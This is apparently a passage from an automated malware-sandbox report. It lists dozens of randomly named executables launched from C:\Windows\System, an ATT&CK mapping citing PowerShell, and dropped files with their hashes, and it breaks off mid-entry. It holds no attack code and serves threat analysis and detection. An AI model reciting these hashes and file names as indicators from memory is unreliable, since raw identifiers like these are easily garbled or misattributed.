  C:\Windows\System\wuWVTRR.exe
  2⤵
  PID:8560
- C:\Windows\System\ktxeqsN.exe
  C:\Windows\System\ktxeqsN.exe
  2⤵
  PID:8576
- C:\Windows\System\HkYELsW.exe
  C:\Windows\System\HkYELsW.exe
  2⤵
  PID:8592
- C:\Windows\System\yOmeviC.exe
  C:\Windows\System\yOmeviC.exe
  2⤵
  PID:8608
- C:\Windows\System\tiRmNQu.exe
  C:\Windows\System\tiRmNQu.exe
  2⤵
  PID:8624
- C:\Windows\System\PYnnsEB.exe
  C:\Windows\System\PYnnsEB.exe
  2⤵
  PID:8640
- C:\Windows\System\BTwIsdv.exe
  C:\Windows\System\BTwIsdv.exe
  2⤵
  PID:8656
- C:\Windows\System\rOwVDij.exe
  C:\Windows\System\rOwVDij.exe
  2⤵
  PID:8672
- C:\Windows\System\fDkEqxI.exe
  C:\Windows\System\fDkEqxI.exe
  2⤵
  PID:8688
- C:\Windows\System\nljuoLD.exe
  C:\Windows\System\nljuoLD.exe
  2⤵
  PID:8704
- C:\Windows\System\IcWeREz.exe
  C:\Windows\System\IcWeREz.exe
  2⤵
  PID:8720
- C:\Windows\System\mwtiWcH.exe
  C:\Windows\System\mwtiWcH.exe
  2⤵
  PID:8736
- C:\Windows\System\CQGsvxa.exe
  C:\Windows\System\CQGsvxa.exe
  2⤵
  PID:8752
- C:\Windows\System\tRDATkn.exe
  C:\Windows\System\tRDATkn.exe
  2⤵
  PID:8768
- C:\Windows\System\BLPqjCG.exe
  C:\Windows\System\BLPqjCG.exe
  2⤵
  PID:8784
- C:\Windows\System\jZqcQfg.exe
  C:\Windows\System\jZqcQfg.exe
  2⤵
  PID:8800
- C:\Windows\System\ICyhCSk.exe
  C:\Windows\System\ICyhCSk.exe
  2⤵
  PID:8816
- C:\Windows\System\ysvDADD.exe
  C:\Windows\System\ysvDADD.exe
  2⤵
  PID:8832
- C:\Windows\System\UCTsHdi.exe
  C:\Windows\System\UCTsHdi.exe
  2⤵
  PID:8848
- C:\Windows\System\DnXwFmh.exe
  C:\Windows\System\DnXwFmh.exe
  2⤵
  PID:8864
- C:\Windows\System\aiLYUVC.exe
  C:\Windows\System\aiLYUVC.exe
  2⤵
  PID:8880
- C:\Windows\System\eqhTjIm.exe
  C:\Windows\System\eqhTjIm.exe
  2⤵
  PID:8896
- C:\Windows\System\fJOUyKM.exe
  C:\Windows\System\fJOUyKM.exe
  2⤵
  PID:8912
- C:\Windows\System\avcjecC.exe
  C:\Windows\System\avcjecC.exe
  2⤵
  PID:8928
- C:\Windows\System\AItfNdY.exe
  C:\Windows\System\AItfNdY.exe
  2⤵
  PID:8944
- C:\Windows\System\zyIxBtw.exe
  C:\Windows\System\zyIxBtw.exe
  2⤵
  PID:8960
- C:\Windows\System\ghKJbRq.exe
  C:\Windows\System\ghKJbRq.exe
  2⤵
  PID:8976
- C:\Windows\System\mrUHrQW.exe
  C:\Windows\System\mrUHrQW.exe
  2⤵
  PID:8992
- C:\Windows\System\qUUoAfM.exe
  C:\Windows\System\qUUoAfM.exe
  2⤵
  PID:9008
- C:\Windows\System\jICBYwp.exe
  C:\Windows\System\jICBYwp.exe
  2⤵
  PID:9024
- C:\Windows\System\tZvpsxU.exe
  C:\Windows\System\tZvpsxU.exe
  2⤵
  PID:9040
- C:\Windows\System\QxubLST.exe
  C:\Windows\System\QxubLST.exe
  2⤵
  PID:9056
- C:\Windows\System\iMhcJmu.exe
  C:\Windows\System\iMhcJmu.exe
  2⤵
  PID:9072
- C:\Windows\System\ppjtOAY.exe
  C:\Windows\System\ppjtOAY.exe
  2⤵
  PID:9088
- C:\Windows\System\oexoCLD.exe
  C:\Windows\System\oexoCLD.exe
  2⤵
  PID:9104
- C:\Windows\System\eIgWFzJ.exe
  C:\Windows\System\eIgWFzJ.exe
  2⤵
  PID:9120
- C:\Windows\System\evDguDF.exe
  C:\Windows\System\evDguDF.exe
  2⤵
  PID:9136
- C:\Windows\System\RXbPGzB.exe
  C:\Windows\System\RXbPGzB.exe
  2⤵
  PID:9152
- C:\Windows\System\vtkqdXR.exe
  C:\Windows\System\vtkqdXR.exe
  2⤵
  PID:9168
- C:\Windows\System\gWUWWrw.exe
  C:\Windows\System\gWUWWrw.exe
  2⤵
  PID:9184
- C:\Windows\System\cEbkZUX.exe
  C:\Windows\System\cEbkZUX.exe
  2⤵
  PID:9200
- C:\Windows\System\qDAKktT.exe
  C:\Windows\System\qDAKktT.exe
  2⤵
  PID:7624
- C:\Windows\System\UTZNjWX.exe
  C:\Windows\System\UTZNjWX.exe
  2⤵
  PID:8248
- C:\Windows\System\hPgzRIu.exe
  C:\Windows\System\hPgzRIu.exe
  2⤵
  PID:7928
- C:\Windows\System\jLgmsEy.exe
  C:\Windows\System\jLgmsEy.exe
  2⤵
  PID:8196
- C:\Windows\System\AQZMCAv.exe
  C:\Windows\System\AQZMCAv.exe
  2⤵
  PID:8260
- C:\Windows\System\fKXYNtH.exe
  C:\Windows\System\fKXYNtH.exe
  2⤵
  PID:8296
- C:\Windows\System\PXUFLrT.exe
  C:\Windows\System\PXUFLrT.exe
  2⤵
  PID:8372
- C:\Windows\System\rAealBf.exe
  C:\Windows\System\rAealBf.exe
  2⤵
  PID:8404
- C:\Windows\System\HAMQqtS.exe
  C:\Windows\System\HAMQqtS.exe
  2⤵
  PID:8392
- C:\Windows\System\vDDIDuD.exe
  C:\Windows\System\vDDIDuD.exe
  2⤵
  PID:8456
- C:\Windows\System\RUJGEvf.exe
  C:\Windows\System\RUJGEvf.exe
  2⤵
  PID:8472
- C:\Windows\System\UjMPBTs.exe
  C:\Windows\System\UjMPBTs.exe
  2⤵
  PID:8540
- C:\Windows\System\imUdPHW.exe
  C:\Windows\System\imUdPHW.exe
  2⤵
  PID:8604
- C:\Windows\System\IKwcZSC.exe
  C:\Windows\System\IKwcZSC.exe
  2⤵
  PID:8696
- C:\Windows\System\jhWadqi.exe
  C:\Windows\System\jhWadqi.exe
  2⤵
  PID:8648
- C:\Windows\System\vPOXpst.exe
  C:\Windows\System\vPOXpst.exe
  2⤵
  PID:8728
- C:\Windows\System\FFXcKZP.exe
  C:\Windows\System\FFXcKZP.exe
  2⤵
  PID:8556
- C:\Windows\System\GJQayqK.exe
  C:\Windows\System\GJQayqK.exe
  2⤵
  PID:8588
- C:\Windows\System\GwCRRdW.exe
  C:\Windows\System\GwCRRdW.exe
  2⤵
  PID:8684
- C:\Windows\System\XUjkIVl.exe
  C:\Windows\System\XUjkIVl.exe
  2⤵
  PID:8748
- C:\Windows\System\exhraQn.exe
  C:\Windows\System\exhraQn.exe
  2⤵
  PID:8796
- C:\Windows\System\ILfgWFi.exe
  C:\Windows\System\ILfgWFi.exe
  2⤵
  PID:8856
- C:\Windows\System\VzihKdy.exe
  C:\Windows\System\VzihKdy.exe
  2⤵
  PID:8888
- C:\Windows\System\syCclEM.exe
  C:\Windows\System\syCclEM.exe
  2⤵
  PID:8920
- C:\Windows\System\IXFTynJ.exe
  C:\Windows\System\IXFTynJ.exe
  2⤵
  PID:8984
- C:\Windows\System\bsymWku.exe
  C:\Windows\System\bsymWku.exe
  2⤵
  PID:9016
- C:\Windows\System\nFIuqia.exe
  C:\Windows\System\nFIuqia.exe
  2⤵
  PID:8936
- C:\Windows\System\eRjIdwf.exe
  C:\Windows\System\eRjIdwf.exe
  2⤵
  PID:9000
- C:\Windows\System\vooWukJ.exe
  C:\Windows\System\vooWukJ.exe
  2⤵
  PID:9064
- C:\Windows\System\qdnvxYC.exe
  C:\Windows\System\qdnvxYC.exe
  2⤵
  PID:9112
- C:\Windows\System\bIlAKTc.exe
  C:\Windows\System\bIlAKTc.exe
  2⤵
  PID:9176
- C:\Windows\System\JBNCbxg.exe
  C:\Windows\System\JBNCbxg.exe
  2⤵
  PID:9096
- C:\Windows\System\uuHnmLw.exe
  C:\Windows\System\uuHnmLw.exe
  2⤵
  PID:9100
- C:\Windows\System\irhSRRF.exe
  C:\Windows\System\irhSRRF.exe
  2⤵
  PID:8244
- C:\Windows\System\NovHIjN.exe
  C:\Windows\System\NovHIjN.exe
  2⤵
  PID:9192
- C:\Windows\System\hNloAGm.exe
  C:\Windows\System\hNloAGm.exe
  2⤵
  PID:7236
- C:\Windows\System\yIYuGiR.exe
  C:\Windows\System\yIYuGiR.exe
  2⤵
  PID:8376
- C:\Windows\System\YKecWNx.exe
  C:\Windows\System\YKecWNx.exe
  2⤵
  PID:8572
- C:\Windows\System\XSXJLNm.exe
  C:\Windows\System\XSXJLNm.exe
  2⤵
  PID:8524
- C:\Windows\System\UbqHIbQ.exe
  C:\Windows\System\UbqHIbQ.exe
  2⤵
  PID:8388
- C:\Windows\System\yPBqOPU.exe
  C:\Windows\System\yPBqOPU.exe
  2⤵
  PID:8536
- C:\Windows\System\aTdsuSY.exe
  C:\Windows\System\aTdsuSY.exe
  2⤵
  PID:8488
- C:\Windows\System\xhNFpJc.exe
  C:\Windows\System\xhNFpJc.exe
  2⤵
  PID:8680
- C:\Windows\System\vEUzrZU.exe
  C:\Windows\System\vEUzrZU.exe
  2⤵
  PID:8808
- C:\Windows\System\fvfwOut.exe
  C:\Windows\System\fvfwOut.exe
  2⤵
  PID:8876
- C:\Windows\System\MfTBNCI.exe
  C:\Windows\System\MfTBNCI.exe
  2⤵
  PID:8956
- C:\Windows\System\ZTHuLTw.exe
  C:\Windows\System\ZTHuLTw.exe
  2⤵
  PID:9052
- C:\Windows\System\UxDpqsK.exe
  C:\Windows\System\UxDpqsK.exe
  2⤵
  PID:9132
- C:\Windows\System\djejQBp.exe
  C:\Windows\System\djejQBp.exe
  2⤵
  PID:8344
- C:\Windows\System\TzwJSZq.exe
  C:\Windows\System\TzwJSZq.exe
  2⤵
  PID:8508
- C:\Windows\System\leDhpnj.exe
  C:\Windows\System\leDhpnj.exe
  2⤵
  PID:8844
- C:\Windows\System\uhPVNpB.exe
  C:\Windows\System\uhPVNpB.exe
  2⤵
  PID:8892
- C:\Windows\System\dALJuLl.exe
  C:\Windows\System\dALJuLl.exe
  2⤵
  PID:8620
- C:\Windows\System\gQXMQAD.exe
  C:\Windows\System\gQXMQAD.exe
  2⤵
  PID:9080
- C:\Windows\System\MFdcsYz.exe
  C:\Windows\System\MFdcsYz.exe
  2⤵
  PID:8232
- C:\Windows\System\FFevTfx.exe
  C:\Windows\System\FFevTfx.exe
  2⤵
  PID:8468
- C:\Windows\System\jDCREHr.exe
  C:\Windows\System\jDCREHr.exe
  2⤵
  PID:8308
- C:\Windows\System\ZsATXSx.exe
  C:\Windows\System\ZsATXSx.exe
  2⤵
  PID:7848
- C:\Windows\System\cjcRnXl.exe
  C:\Windows\System\cjcRnXl.exe
  2⤵
  PID:8172
- C:\Windows\System\RyFhKla.exe
  C:\Windows\System\RyFhKla.exe
  2⤵
  PID:9212
- C:\Windows\System\cDHBgwJ.exe
  C:\Windows\System\cDHBgwJ.exe
  2⤵
  PID:8840
- C:\Windows\System\WaFzkPv.exe
  C:\Windows\System\WaFzkPv.exe
  2⤵
  PID:8972
- C:\Windows\System\IzeivYr.exe
  C:\Windows\System\IzeivYr.exe
  2⤵
  PID:8584
- C:\Windows\System\sdiYsUS.exe
  C:\Windows\System\sdiYsUS.exe
  2⤵
  PID:9220
- C:\Windows\System\VqVGqXG.exe
  C:\Windows\System\VqVGqXG.exe
  2⤵
  PID:9236
- C:\Windows\System\VuIEzAh.exe
  C:\Windows\System\VuIEzAh.exe
  2⤵
  PID:9252
- C:\Windows\System\UkyjrAx.exe
  C:\Windows\System\UkyjrAx.exe
  2⤵
  PID:9268
- C:\Windows\System\ODlezJb.exe
  C:\Windows\System\ODlezJb.exe
  2⤵
  PID:9284
- C:\Windows\System\OKYnfqL.exe
  C:\Windows\System\OKYnfqL.exe
  2⤵
  PID:9300
- C:\Windows\System\CamNEOb.exe
  C:\Windows\System\CamNEOb.exe
  2⤵
  PID:9316
- C:\Windows\System\SEvANaR.exe
  C:\Windows\System\SEvANaR.exe
  2⤵
  PID:9332
- C:\Windows\System\uSSwDlr.exe
  C:\Windows\System\uSSwDlr.exe
  2⤵
  PID:9348
- C:\Windows\System\sGcmXFN.exe
  C:\Windows\System\sGcmXFN.exe
  2⤵
  PID:9364
- C:\Windows\System\ZCtFHGD.exe
  C:\Windows\System\ZCtFHGD.exe
  2⤵
  PID:9380
- C:\Windows\System\FGNIeDN.exe
  C:\Windows\System\FGNIeDN.exe
  2⤵
  PID:9396
- C:\Windows\System\cmkgQJy.exe
  C:\Windows\System\cmkgQJy.exe
  2⤵
  PID:9412
- C:\Windows\System\WgtiRmB.exe
  C:\Windows\System\WgtiRmB.exe
  2⤵
  PID:9428
- C:\Windows\System\vfgHjjU.exe
  C:\Windows\System\vfgHjjU.exe
  2⤵
  PID:9444
- C:\Windows\System\PgitwJK.exe
  C:\Windows\System\PgitwJK.exe
  2⤵
  PID:9464
- C:\Windows\System\hfZwIku.exe
  C:\Windows\System\hfZwIku.exe
  2⤵
  PID:9480
- C:\Windows\System\DvlCKYt.exe
  C:\Windows\System\DvlCKYt.exe
  2⤵
  PID:9496
- C:\Windows\System\nXhkRDR.exe
  C:\Windows\System\nXhkRDR.exe
  2⤵
  PID:9516
- C:\Windows\System\gMdKcGQ.exe
  C:\Windows\System\gMdKcGQ.exe
  2⤵
  PID:9532
- C:\Windows\System\zcvRvfY.exe
  C:\Windows\System\zcvRvfY.exe
  2⤵
  PID:9548
- C:\Windows\System\EPXXamx.exe
  C:\Windows\System\EPXXamx.exe
  2⤵
  PID:9564
- C:\Windows\System\yTHPivy.exe
  C:\Windows\System\yTHPivy.exe
  2⤵
  PID:9580
- C:\Windows\System\wsUJbQt.exe
  C:\Windows\System\wsUJbQt.exe
  2⤵
  PID:9596
- C:\Windows\System\KIfXcIo.exe
  C:\Windows\System\KIfXcIo.exe
  2⤵
  PID:9612
- C:\Windows\System\TBldHKX.exe
  C:\Windows\System\TBldHKX.exe
  2⤵
  PID:9628
- C:\Windows\System\tSafJyz.exe
  C:\Windows\System\tSafJyz.exe
  2⤵
  PID:9644
- C:\Windows\System\bPOqjOp.exe
  C:\Windows\System\bPOqjOp.exe
  2⤵
  PID:9660
- C:\Windows\System\ghEEJUd.exe
  C:\Windows\System\ghEEJUd.exe
  2⤵
  PID:9676
- C:\Windows\System\bRgPfHp.exe
  C:\Windows\System\bRgPfHp.exe
  2⤵
  PID:9692
- C:\Windows\System\TxmOPUD.exe
  C:\Windows\System\TxmOPUD.exe
  2⤵
  PID:9708
- C:\Windows\System\QLABMGS.exe
  C:\Windows\System\QLABMGS.exe
  2⤵
  PID:9724
- C:\Windows\System\nOiYsOV.exe
  C:\Windows\System\nOiYsOV.exe
  2⤵
  PID:9740
- C:\Windows\System\sCMwNzo.exe
  C:\Windows\System\sCMwNzo.exe
  2⤵
  PID:9756
- C:\Windows\System\pmWDRIT.exe
  C:\Windows\System\pmWDRIT.exe
  2⤵
  PID:9776
- C:\Windows\System\YuFkqhY.exe
  C:\Windows\System\YuFkqhY.exe
  2⤵
  PID:9792
- C:\Windows\System\lnjFdqN.exe
  C:\Windows\System\lnjFdqN.exe
  2⤵
  PID:9808
- C:\Windows\System\MhQmkHH.exe
  C:\Windows\System\MhQmkHH.exe
  2⤵
  PID:9824
- C:\Windows\System\bYsltMi.exe
  C:\Windows\System\bYsltMi.exe
  2⤵
  PID:9840
- C:\Windows\System\dIOLlas.exe
  C:\Windows\System\dIOLlas.exe
  2⤵
  PID:9856
- C:\Windows\System\znyNyVp.exe
  C:\Windows\System\znyNyVp.exe
  2⤵
  PID:9872
- C:\Windows\System\BVECFLW.exe
  C:\Windows\System\BVECFLW.exe
  2⤵
  PID:9888
- C:\Windows\System\dwdGQRC.exe
  C:\Windows\System\dwdGQRC.exe
  2⤵
  PID:9904
- C:\Windows\System\XurJaNR.exe
  C:\Windows\System\XurJaNR.exe
  2⤵
  PID:9920
- C:\Windows\System\lHnLVcC.exe
  C:\Windows\System\lHnLVcC.exe
  2⤵
  PID:9936
- C:\Windows\System\OUvMgGw.exe
  C:\Windows\System\OUvMgGw.exe
  2⤵
  PID:9952
- C:\Windows\System\trVKhbt.exe
  C:\Windows\System\trVKhbt.exe
  2⤵
  PID:9968
- C:\Windows\System\FNLqXyl.exe
  C:\Windows\System\FNLqXyl.exe
  2⤵
  PID:9984
- C:\Windows\System\EIsnUIe.exe
  C:\Windows\System\EIsnUIe.exe
  2⤵
  PID:10000
- C:\Windows\System\KWokpVU.exe
  C:\Windows\System\KWokpVU.exe
  2⤵
  PID:10016
- C:\Windows\System\uOwjBQl.exe
  C:\Windows\System\uOwjBQl.exe
  2⤵
  PID:10032
- C:\Windows\System\awmSlGa.exe
  C:\Windows\System\awmSlGa.exe
  2⤵
  PID:10048
- C:\Windows\System\DIAQFmH.exe
  C:\Windows\System\DIAQFmH.exe
  2⤵
  PID:10064
- C:\Windows\System\whGugVp.exe
  C:\Windows\System\whGugVp.exe
  2⤵
  PID:10084
- C:\Windows\System\VZjGskg.exe
  C:\Windows\System\VZjGskg.exe
  2⤵
  PID:10100
- C:\Windows\System\maiDVhy.exe
  C:\Windows\System\maiDVhy.exe
  2⤵
  PID:10116
- C:\Windows\System\LgPlvBf.exe
  C:\Windows\System\LgPlvBf.exe
  2⤵
  PID:10132
- C:\Windows\System\gEMYMfk.exe
  C:\Windows\System\gEMYMfk.exe
  2⤵
  PID:10148
- C:\Windows\System\LgtlnAr.exe
  C:\Windows\System\LgtlnAr.exe
  2⤵
  PID:10164
- C:\Windows\System\OJEqucn.exe
  C:\Windows\System\OJEqucn.exe
  2⤵
  PID:10180
- C:\Windows\System\uCEIdlv.exe
  C:\Windows\System\uCEIdlv.exe
  2⤵
  PID:10196
- C:\Windows\System\rgFVUMt.exe
  C:\Windows\System\rgFVUMt.exe
  2⤵
  PID:10212
- C:\Windows\System\oZPghzf.exe
  C:\Windows\System\oZPghzf.exe
  2⤵
  PID:10228
- C:\Windows\System\SJqXnvz.exe
  C:\Windows\System\SJqXnvz.exe
  2⤵
  PID:8744
- C:\Windows\System\DVpoItb.exe
  C:\Windows\System\DVpoItb.exe
  2⤵
  PID:9208
- C:\Windows\System\LvhPSBa.exe
  C:\Windows\System\LvhPSBa.exe
  2⤵
  PID:9232
- C:\Windows\System\ziwoCcw.exe
  C:\Windows\System\ziwoCcw.exe
  2⤵
  PID:9296
- C:\Windows\System\ersgOya.exe
  C:\Windows\System\ersgOya.exe
  2⤵
  PID:9356
- C:\Windows\System\bjjQVgl.exe
  C:\Windows\System\bjjQVgl.exe
  2⤵
  PID:9420
- C:\Windows\System\MwdneCL.exe
  C:\Windows\System\MwdneCL.exe
  2⤵
  PID:9488
- C:\Windows\System\AptPgfq.exe
  C:\Windows\System\AptPgfq.exe
  2⤵
  PID:9556
- C:\Windows\System\HDtVeIg.exe
  C:\Windows\System\HDtVeIg.exe
  2⤵
  PID:9620
- C:\Windows\System\NDWRatm.exe
  C:\Windows\System\NDWRatm.exe
  2⤵
  PID:9684
- C:\Windows\System\YYQuBWf.exe
  C:\Windows\System\YYQuBWf.exe
  2⤵
  PID:9748
- C:\Windows\System\ZFOnHQf.exe
  C:\Windows\System\ZFOnHQf.exe
  2⤵
  PID:9816
- C:\Windows\System\UmSuuXd.exe
  C:\Windows\System\UmSuuXd.exe
  2⤵
  PID:9276
- C:\Windows\System\NJuUVpg.exe
  C:\Windows\System\NJuUVpg.exe
  2⤵
  PID:9912
- C:\Windows\System\wtYkPzV.exe
  C:\Windows\System\wtYkPzV.exe
  2⤵
  PID:9976
- C:\Windows\System\dzTWVQN.exe
  C:\Windows\System\dzTWVQN.exe
  2⤵
  PID:9344
- C:\Windows\System\wosGVaJ.exe
  C:\Windows\System\wosGVaJ.exe
  2⤵
  PID:9404
- C:\Windows\System\aRkfYEB.exe
  C:\Windows\System\aRkfYEB.exe
  2⤵
  PID:9700
- C:\Windows\System\nEfvceJ.exe
  C:\Windows\System\nEfvceJ.exe
  2⤵
  PID:9476
- C:\Windows\System\lWAlSbJ.exe
  C:\Windows\System\lWAlSbJ.exe
  2⤵
  PID:9732
- C:\Windows\System\xLUkkrB.exe
  C:\Windows\System\xLUkkrB.exe
  2⤵
  PID:9280
- C:\Windows\System\FAhcdzk.exe
  C:\Windows\System\FAhcdzk.exe
  2⤵
  PID:9836
- C:\Windows\System\waztJfP.exe
  C:\Windows\System\waztJfP.exe
  2⤵
  PID:9804
- C:\Windows\System\HmvxHoI.exe
  C:\Windows\System\HmvxHoI.exe
  2⤵
  PID:9868
- C:\Windows\System\BJYirig.exe
  C:\Windows\System\BJYirig.exe
  2⤵
  PID:10056
- C:\Windows\System\YlktNUy.exe
  C:\Windows\System\YlktNUy.exe
  2⤵
  PID:9408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\BknCOOY.exe

Filesize
1.6MB

MD5
a349e005b78c72c4f681412c16719f56

SHA1
ffc488dfe352aff4df5ebe387900e21e8ef13065

SHA256
670954cb35513bc4a38bbbf9ff02c0cc85072a834a42c951310eaaa3c265892d

SHA512
7ce173e583434fe3c4e466499bc084f16c25c0a359dfa8902a2203375b460ee4d1252412b4f63f8f48bbe55631aaf3bbad989c0cde63d59e3b7efd6ae5f943a3

Download Submit
C:\Windows\system\DGQfUWW.exe

Filesize
1.6MB

MD5
2a4201f3ae329c7b039ed374224ad434

SHA1
b563f061d315d16b0c345e8cfd73527d8f7d78da

SHA256
392460b1177820e756e1687097c3cafdc9140b12a911aca24a1bcde0b0a60cf5

SHA512
8bcc67a9644135d31099c564802d65edad57e3d8514263f5e54994bffaca25d95a7be9e94e4bf3e7e46ed0d76528f11a2febd2ab163fc47d28f0d055dd7decda

Download Submit
C:\Windows\system\DMcWIGa.exe

Filesize
1.6MB

MD5
796f6fbec081d8d6ced36462ff03f5d3

SHA1
ba76282f01258d427535deda896f60a53593cad0

SHA256
44f8e4923d38f9687e3409b9a6af6aa858890b8e32cc538df1e8a4bb5f44ea4a

SHA512
c3dc18ac0b0b78a733ceebb2d4e1a2f8597584738e5d6d467bbfd28d43edb82500ada51d8442cc4187a4bf04907bd40e91660b97bef75a085b9b16753ee8d1c5

Download Submit
C:\Windows\system\DwKHGqg.exe

Filesize
1.6MB

MD5
7d206aa037df32a1efc20e65dad06a22

SHA1
6971a8f0deaaf7ad1177d88b3cd5a67de19ea61b

SHA256
4517011c36cc18f83a91c7faa8f504303bde40ae93aa34d2674c049d7e9f546e

SHA512
c4060c25a7a7609d2af265eb62b558e8b2db5e95c1304f301f51724e13055feb12b9ee897530ebb1c17b168829d0d64cfe42ba31421460a99974fac91511cfe6

Download Submit
C:\Windows\system\JJZOEWY.exe

Filesize
1.6MB

MD5
e1ba0a5bd3afb1d843644c2100945c4a

SHA1
3eb2011f9cca05a70641e13485c919f603825e67

SHA256
471dc0c66f475e4c052dd501eee797e381108c4c311887c949025fe9ca073f5c

SHA512
d912efcab93d9e552ba6844737713b6ef93127ba30fd2865fd2d0c3db703eca55329cb8c6d835e06c33b9fa92f21ec040ad287c0ac95b21af2e518b8ab19d668

Download Submit
C:\Windows\system\JgWuLae.exe

Filesize
1.6MB

MD5
ba0d737025eec3aa6ced9a25b49c3dd9

SHA1
4fd6d7a479d031e4b57b5cd89d7e00dfcad5d9f3

SHA256
c37900bcdda959bc2f636fa34db5ab418acf215ac1993b332bb723e7654c419d

SHA512
b9c6a2caaf53b599a57218a04bacaed4647768b1df22c2ba2d1328c3d9e7429bf16a32c023c37e39d424b0639430a5eab35d77e742ce71e64eea68873e5f7dbf

Download Submit
C:\Windows\system\QstOjya.exe

Filesize
1.6MB

MD5
4f83ced0c66a313a9d1a8cd7d70ab8e0

SHA1
e117ed0b3c8f34057694597904c73118daa4e4e6

SHA256
881502ada97790b7873d6b80d1a9dc31bed8b12fbd2b0312c331339c19bd86b4

SHA512
b595481b78d00af4d9f2c6397aee592091d78adefe5df70ab4409e2b324ba37865e34f01d7e89374bee84f7f5fe49aa4d6ec72b9c4acaff3fc58a25612532d8e

Download Submit
C:\Windows\system\RNSEWru.exe

Filesize
8B

MD5
66bd487d69202ef8b2b1bb2e1931ebf3

SHA1
6297e827d2cc12ba96555851f82fc059665704b0

SHA256
4443ea8760d035c6b4f05df6df4c7e7ad9c5afa8dead954bce57dab5a5afcf1e

SHA512
9e09fc0a19c454ee0cecdc74d2823aed9c4a94ebbcd2ca5a3004beafcda66afd0bc9b7ffcaee69b05991566849eedce2fe3d3b28ecd596511f3194e8d04c5acc

Download Submit
C:\Windows\system\RfTNZbg.exe

Filesize
1.6MB

MD5
acc000295cca38a6d15cbfa1aaaaa7c1

SHA1
569f14cfaf2814f4456c81a2d45819e2e086f60f

SHA256
fadda5e9a6ea594fedfb25e92f051eecc5e88e6fb54f952f39375f4cbe0b1db7

SHA512
e9c6c62bba34a7a714b67c61c505c1a68bf44f2cd1d235e4fbc9e28c38c67ffcfc1b7051cbedcb71e1e37feb9a8dace53cd368c75b6539c81fbf2a55d4ad42b3

Download Submit
C:\Windows\system\UcPahIy.exe

Filesize
1.6MB

MD5
bd7b5027c79f743c7b0397b259f45b27

SHA1
61345b2eb24910eaf4461dd7ce4eaae685033340

SHA256
0b68c2204627d6d0a5f2ed81b31dfe6d8ecbc49fe18255e5a3ce220da63662aa

SHA512
2206b1edd4f9f49dced1768e02009e3862d59a7eb64ad6d9c7158cfb586757b6d090203d146046fd86634e7f8a867c4cf58549e2b2c7402adb9f218390b8abca

Download Submit
C:\Windows\system\XRUstcs.exe

Filesize
1.6MB

MD5
171ba21d5b0bdba9715c891cdaf182ad

SHA1
6649ce2cfaf1a1f93017881c602f2a831d111167

SHA256
5450b8365c90244a9ab9d6c0c21dd8f7be1bbd8f3e42d1352704329f4e3e6fae

SHA512
5b56cecbf0f5874bb5fe93d870a4cfb736a68ecf006ec0160c2faf0b564cd3798fe86c34806d967b56bf8d1e172bbde7f3b90bda49e1bdf06ab80db7e16455a9

Download Submit
C:\Windows\system\XtrYySj.exe

Filesize
1.6MB

MD5
205fc01dd9244693d51b8f2f5a993a2f

SHA1
38f935cc87ec5765dd28411b17195c96e21ff54f

SHA256
72b545055c1d48719236be4ad1dc8831f2c4aadabeed2b5dad814ee5339c0681

SHA512
6926e9370a2babf9fdbb9d9af3a5917f10c934695aee728229d12ea99b442be59ed235842831e7a4c7ad431014b13fbc2bd900cc4c2b2413e8f80bbf3da1cb13

Download Submit
C:\Windows\system\aGkInAm.exe

Filesize
1.6MB

MD5
db465ff914f1f3fb98cfd93598b07a06

SHA1
36b0a18715a112fe0d21fcf19892a7b190992d37

SHA256
0f20b350ee023400283fd375a3e3c4150221b21ad359761a8eb572ee89bdf212

SHA512
9a7648c9e976bb81bf89d309895e937181097cb0e188460cebc176a60172757a15ec0b1220318ae180df8b961c9d2117a11e9d26e71b796a782582d25ada18a6

Download Submit
C:\Windows\system\aUPophK.exe

Filesize
1.6MB

MD5
c2d45ba0c613ef61421ff6582885524c

SHA1
10a9a0cb7009d31dccffefb25ba3d48a2bb1d931

SHA256
5a669f14884d405069fd70672c66b8258fa2b41c3cd868a87d5b022569ebafba

SHA512
898247f3910ff7e352a1fad3f451982fb8cb61c2a59ab9a8120c47f05054e808dcb6cb3ba27265144e6b840398b43b04adb17066b0965037a5a61068e3925c2f

Download Submit
C:\Windows\system\bCFkWCn.exe

Filesize
1.6MB

MD5
1a7b3f4f0c70c9723bce36db1314f93f

SHA1
9b96a0999001f2c4e460589a78ac70fc5b41fe7d

SHA256
e6dda901a92876cd58914a84dce7ab399c21bb06ca8813ba1038129225b8a5e2

SHA512
9308418721921d79a9b10ece8a9a397bbda784d5f541a08a001b1cd4627a2f26f0a19a3e158aeb72ba5a64b3bb0a089ace2df089ac2e417fc0ab92c4bc26446b

Download Submit
C:\Windows\system\bPgQmTg.exe

Filesize
1.6MB

MD5
d89dd773bef6691f54328f61bcd1cb39

SHA1
097f7941f0d40ed9319508b9449775f2a7896a2d

SHA256
aa53a594bb82140e0e9a7c506448009631dc58d0525dd3b0c80e5c6a2e6efa22

SHA512
03d5f9e3a7f8219005b0b876cc6cb569b3fb08569e65905491d0ba9477646be6e3925082bbb02361c4a134070811ded09a80ff717a1ff6de04b5cb33c58f6fe7

Download Submit
C:\Windows\system\eXdhwuG.exe

Filesize
1.6MB

MD5
95038c50cdd334b465bfde742b88ec57

SHA1
ef361f787138c0af3b6995ac6196852054aad539

SHA256
39055d54520203b882d13178e55419e6827afeb7334d155f88b29368a6426826

SHA512
746c3f00009caa85f031de54d32f61eae0174042ae1d264e7ecee5d2115dd4fa4a36a290726098fffea000fcf89a09a9052f73d06b418cce26c1cd6d84d406e8

Download Submit
C:\Windows\system\lrzHwHn.exe

Filesize
1.6MB

MD5
6aa90bca31f566e101d8df3b11137b6b

SHA1
24d9630c94415acff37d5eeabe97222a17820bde

SHA256
4484fe4b27a3659a7afb5806fc6a2e1c412f9a10d1fb7ad82c3522a8efb03936

SHA512
8814798b187f83b2196b60af82343a0b762c03b1a2c7d0d148ece7cd2b55f798150bf25cc999eed072f51e41322e73c7f8f6b44a5e7e5fdc7731965695d0ac16

Download Submit
C:\Windows\system\mSRLlyo.exe

Filesize
1.6MB

MD5
b67e040ef23b47d2526faba3339beaec

SHA1
3f21e2d789144c8dc8695ccc881d6194ff1895ee

SHA256
64c55691900b099d78accdb7feed1cbf9f0687eed2f472401cd7496e1ff37028

SHA512
